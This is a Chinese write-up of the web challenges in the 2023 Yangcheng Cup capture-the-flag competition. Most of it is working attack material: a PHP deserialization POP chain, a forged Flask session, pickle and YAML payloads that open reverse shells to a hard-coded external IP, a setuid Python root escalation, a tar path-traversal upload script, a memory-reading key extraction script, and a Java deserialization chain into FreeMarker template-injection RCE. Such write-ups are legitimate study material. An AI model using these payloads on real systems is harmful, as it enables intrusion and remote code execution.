2023 羊城杯-web wp
队友带飞!线下见!!!
D0n’t pl4y g4m3!!!
确实不是玩游戏捏
p0p.php存在302的跳转,跳转来到hint.zip下载附件

然后尊都假都解密
读道start.sh,看到是php -s启动
php版本7.4.21存在任意文件读取
读取p0p.php源码
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 
 | <?phpheader("HTTP/1.1 302 found");
 header("Location:https://passer-by.com/pacman/");
 
 class Pro{
 private $exp;
 private $rce2;
 
 public function __get($name)
 {
 return $this->$rce2=$this->exp[$rce2];
 }
 public  function __toString()
 {
 call_user_func('system', "cat /flag");
 }
 }
 
 class Yang
 {
 public function __call($name, $ary)
 {
 if ($this->key === true || $this->finish1->name) {
 if ($this->finish->finish) {
 call_user_func($this->now[$name], $ary[0]);
 }
 }
 }
 public function ycb()
 {
 $this->now = 0;
 return $this->finish->finish;
 }
 public function __wakeup()
 {
 $this->key = True;
 }
 }
 class Cheng
 {
 private $finish;
 public $name;
 public function __get($value)
 {
 
 return $this->$value = $this->name[$value];
 }
 }
 class Bei
 {
 public function __destruct()
 {
 if ($this->CTF->ycb()) {
 $this->fine->YCB1($this->rce, $this->rce1);
 }
 }
 public function __wakeup()
 {
 $this->key = false;
 }
 }
 
 function prohib($a){
 $filter = "/system|exec|passthru|shell_exec|popen|proc_open|pcntl_exec|eval|flag/i";
 return preg_replace($filter,'',$a);
 }
 
 $a = $_POST["CTF"];
 if (isset($a)){
 unserialize(prohib($a));
 }
 ?>
 
 | 
构造payload
通过键值对构造[‘finish’ => true]和[‘YCB1’ => ‘highlight_file’];
过滤调用highlight函数读取
payload
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 
 | <?phperror_reporting(0);
 class Pro {
 private $exp;
 private $rce2;
 }
 class Yang {
 }
 class Cheng {
 public $name;
 }
 
 class Bei {
 }
 $cheng = new Cheng;
 $cheng->name = ['finish' => true];
 $payload=new Bei;
 $payload->CTF=new yang;
 $payload->CTF->finish=$cheng;
 $payload->rce='/tmp/catcatf1ag.txt';
 $payload->fine=new yang;
 $payload->fine->finish=$cheng;
 $payload->fine->key=true;
 $payload->fine->now=['YCB1' => 'highlight_file'];
 echo serialize($payload);
 
 | 
Serpent
给了源码
直接就是一个session伪造
| 12
 3
 4
 5
 6
 
 | (kalikali)-[~]flask_session_cookie manager3.py encode -s 'GWHTnhiv5viLQV'-t "{'Attribute':{'admin':1,'name':'admin','s
 ecret_key':'GWHTnhiv5ViLQV'}}"
 
 eyJBdHRyaW]1dGUiOnsiYWRtaw4iojEsIm5hbwuioiJhZG1pbiIsInNlY3J1dF9rZxkioiJHV0hUbmhpVjVWaUxRViJ9fQ.ZPLP9w.ga2uHXo
 QnG2viqwGulwqe-9qrVg
 
 | 
成功伪造成admin
访问/ppppppppppick1e
在响应头里面存在源码
经典pick1e 反序列化,ban了R指令,简单的,直接弹shell
| 1
 | p=b"(cos\nsystem\nS'bash -c \"bash -i >& /dev/tcp/47.120.0.245/3232 0>&1\"'\no."
 | 
弹到vps,上面没有权限读取
find指令发现了python3.8有root权限
直接
| 1
 | python3.8 -c 'import os;os.setuid(0);os.system("/bin/sh")'
 | 
开启一个有root的sh,这里catflag就好了
ez_yaml
下载源码,进行审计
| 12
 3
 4
 5
 
 | if request.args:username request.args.get('username')
 with open(f'config/{username}.yaml','rb')as f:
 Config yaml.load(f.read())
 return render_template('admin.html',username="admin",message="success")
 
 | 
这里存在yaml反序列化漏洞
但是要求上传恶意的文件到/config目录下面才能执行
但是过滤了文件名字里面的点
注意到上传tar文件会使用如下的代码
| 12
 3
 4
 
 | if type ='tar':tf = tarfile.TarFile(fiLepath)
 tf.extractall(extractdir)
 return tf.getnames()
 
 | 
这里有一个cve,存在目录穿越
构造一个恶意的yaml文件
| 1
 | !!python/object/apply:os.system ["bash -c 'bash -i >& /dev/tcp/47.120.0.245/3232 0>&1'"]
 | 
压缩在tar包里面
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 
 | import requestsimport tarfile
 def changeFileName(filename):
 filename.name = '../../../../config/666.yaml'
 return filename
 
 url="http://8000.endpoint-a1f0ca170af74e2bb5dff4ede1dd7227.m.ins.cloud.dasctf.com:81/upload"
 with tarfile.open("exp.tar", "w") as tar:
 tar.add('test.yaml', filter=changeFileName)
 http={"http":"127.0.0.1:8080"}
 response = requests.post(url=url, files={"file": open("exp.tar", 'rb')},proxies=http)
 print(response.text)
 
 | 
访问src?username=test 触发yaml,获得shell
ArkNights
非预期
下载源码
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 
 | @app.route('/read')def read():
 file = request.args.get('file')
 fileblacklist=re.findall("/flag|fl|ag/",file, re.IGNORECASE)
 if fileblacklist:
 return "bad hacker!"
 start=request.args.get("start","0")
 end=request.args.get("end","0")
 if start=="0" and end=="0":
 return open(file,"rb").read()
 else:
 start,end=int(start),int(end)
 f=open(file,"rb")
 f.seek(start)
 data=f.read(end)
 return data
 
 | 
这里过滤了flag,但是可以读取环境变量里面的flag吗
预期
可以看到这段代码
| 1
 | app.config['SECRET_KEY'] =str(uuid.uuid4()).replace("-","*")+"Boogipopisweak"
 | 
这里不是构造了一个随机的数,作为密钥,但是如果想要爆破出密钥,估计下一届比赛开了都出不来
这里可以读取环境变量,里面存在了环境变量,这样就可以得到密钥
需要先读取内存映射/proc/self/maps来定位key的位置,再利用/read路由读取key,可以使用如下脚本:
这里使用Tranquility大佬的脚本
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 
 | import requests, re, time
 url = "http://5000.endpoint-64c8f01c2b234d718b0e628fd789c642.m.ins.cloud.dasctf.com:81"
 maps_url = f"{url}/read?file=/proc/self/maps"
 maps_reg = "([a-z0-9]{12}-[a-z0-9]{12}) rw.*?00000000 00:00 0"
 maps = re.findall(maps_reg, requests.get(maps_url).text)
 print(maps)
 for m in maps:
 start, end = m.split("-")[0], m.split("-")[1]
 Offset, Length = str(int(start, 16)), str(int(end, 16) - int(start, 16))
 read_url = f"{url}/read?file=/proc/self/mem&start={Offset}&end={Length}"
 print(read_url)
 
 s = requests.get(read_url,timeout=6,stream=True)
 rt = re.findall("[a-z0-9]{8}*[a-z0-9]{4}*[a-z0-9]{4}*[a-z0-9]{4}*[a-z0-9]{12}", s.text)
 time.sleep(1)
 if rt:
 print(rt)
 
 | 
得到密钥之后就可以伪造,然后rce
Ez_java
遇到java,ok紫砂
首先看到lib里面存在一个freemarker的包
查一下有个模板注入的点
HtmlInvocationHandler方法里面存在一个invoke方法
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 
 | package BOOT-INF.classes.com.ycbjava.Utils;
 import java.io.Serializable;
 import java.lang.reflect.InvocationHandler;
 import java.lang.reflect.Method;
 import java.util.Map;
 
 public class HtmlInvocationHandler implements InvocationHandler, Serializable {
 public Map obj;
 
 public HtmlInvocationHandler() {}
 
 public HtmlInvocationHandler(Map obj) {
 this.obj = obj;
 }
 
 public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
 Object result = this.obj.get(method.getName());
 return result;
 }
 }
 
 | 
在这里触发htmlclass的get方法,可以触发文件上传
| 12
 3
 4
 5
 6
 7
 8
 9
 
 | public Object get(Object key) {Object obj;
 try {
 obj = Boolean.valueOf(HtmlUploadUtil.uploadfile(this.filename, this.content));
 } catch (Exception e) {
 throw new RuntimeException(e);
 }
 return obj;
 }
 
 | 
触发文件上传
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 
 | public class HtmlUploadUtil {public static boolean uploadfile(String filename, String content) {
 if (filename != null && !filename.endsWith(".ftl"))
 return false;
 String realPath = "/app/templates/" + filename;
 if (realPath.contains("../") || realPath.contains("..\\"))
 return false;
 try {
 BufferedWriter writer = new BufferedWriter(new FileWriter(realPath));
 writer.write(content);
 writer.close();
 return true;
 } catch (IOException e) {
 System.err.println("Error uploading file: " + e.getMessage());
 return false;
 }
 }
 }
 
 | 
这里找一个freemarker板子打就好了
来自
https://blog.xmcve.com/2023/09/03/%E7%BE%8A%E5%9F%8E%E6%9D%AF-2023-Writeup/#title-6
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 
 | package com.ycbjava.Utils;
 import java.io.ByteArrayOutputStream;
 import java.io.IOException;
 import java.io.ObjectOutputStream;
 import java.lang.reflect.Field;
 import java.lang.reflect.Proxy;
 import java.util.Base64;
 import java.util.Map;
 import javax.management.BadAttributeValueExpException;
 
 public class aaa {
 public static String string;
 
 public aaa() {
 }
 
 public static void main(String[] args) throws Exception {
 HtmlMap htmlMap = new HtmlMap();
 htmlMap.filename = "index.ftl";
 htmlMap.content = "${name}
 <#assign ac=springMacroRequestContext.webApplicationContext>
 <#assign fc=ac.getBean('freeMarkerConfiguration')>
 <#assign dcr=fc.getDefaultConfiguration().getNewBuiltinClassResolver()>
 <#assign VOID=fc.setNewBuiltinClassResolver(dcr)>${"freemarker.template.utility.Execute"?new()(name)}
 ${VOID}";
 ClassLoader classLoader = htmlMap.getClass().getClassLoader();
 Class[] interfaces = htmlMap.getClass().getInterfaces();
 HtmlInvocationHandler infoInvocationHandler = new HtmlInvocationHandler(htmlMap);
 Map proxy = (Map)Proxy.newProxyInstance(classLoader, interfaces, infoInvocationHandler);
 BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException((Object)null);
 Field declaredField = badAttributeValueExpException.getClass().getDeclaredField("val");
 declaredField.setAccessible(true);
 declaredField.set(badAttributeValueExpException, proxy);
 serial(badAttributeValueExpException);
 }
 
 private static void serial(Object object) throws IOException {
 ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
 ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
 objectOutputStream.writeObject(object);
 objectOutputStream.flush();
 objectOutputStream.close();
 string = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
 System.out.println(string);
 }
 }
 
 | 
ez_web
一个一个一个啊
ld.so.preload RCTF2022的trick
还没研究
研究完了回来补